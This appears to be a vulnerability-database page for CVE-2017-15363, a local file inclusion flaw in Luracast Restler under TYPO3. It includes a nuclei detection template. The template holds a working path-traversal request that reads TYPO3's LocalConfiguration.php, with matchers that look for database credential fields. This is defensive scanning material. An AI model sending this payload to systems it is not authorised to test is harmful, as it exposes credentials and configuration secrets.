HexBrain

Browse / CVEs / CVE-2017-15363

CVE-2017-15363· luracast / restler· CWE-22

Luracast Restler 3.0.1 via TYPO3 Restler 1.7.1 - Local File Inclusion

highseverity
7.5CVSS score
15.3%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Luracast Restler 3.0.1 via TYPO3 Restler 1.7.1 is susceptible to local file inclusion in public/examples/resources/getsource.php. This could allow remote attackers to read arbitrary files via the file parameter.

Impact

The vulnerability allows an attacker to include local files, potentially leading to unauthorized access or code execution.

Fix

Update to the latest version of Restler and TYPO3 to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php
Positive when: contains "<?php" and "'host'" and "'database'" and "'extConf'" AND status 200

Run it with nuclei: nuclei -id CVE-2017-15363 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-15363

info:
  name: Luracast Restler 3.0.1 via TYPO3 Restler 1.7.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Luracast Restler 3.0.1 via TYPO3 Restler 1.7.1 is susceptible to local file inclusion in public/examples/resources/getsource.php. This could allow remote attackers to read arbitrary files via the file parameter.
  impact: |
    The vulnerability allows an attacker to include local files, potentially leading to unauthorized access or code execution.
  remediation: |
    Update to the latest version of Restler and TYPO3 to fix the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42985
    - https://extensions.typo3.org/extension/restler/
    - https://extensions.typo3.org/extension/download/restler/1.7.1/zip/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15363
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-15363
    cwe-id: CWE-22
    epss-score: 0.15333
    epss-percentile: 0.96801
    cpe: cpe:2.3:a:luracast:restler:*:*:*:*:*:typo3:*:*
  metadata:
    max-request: 1
    vendor: luracast
    product: restler
    framework: typo3
  tags: cve,cve2017,restler,lfi,edb,luracast,typo3,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "'host'"
          - "'database'"
          - "'extConf'"
          - "'debug'"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from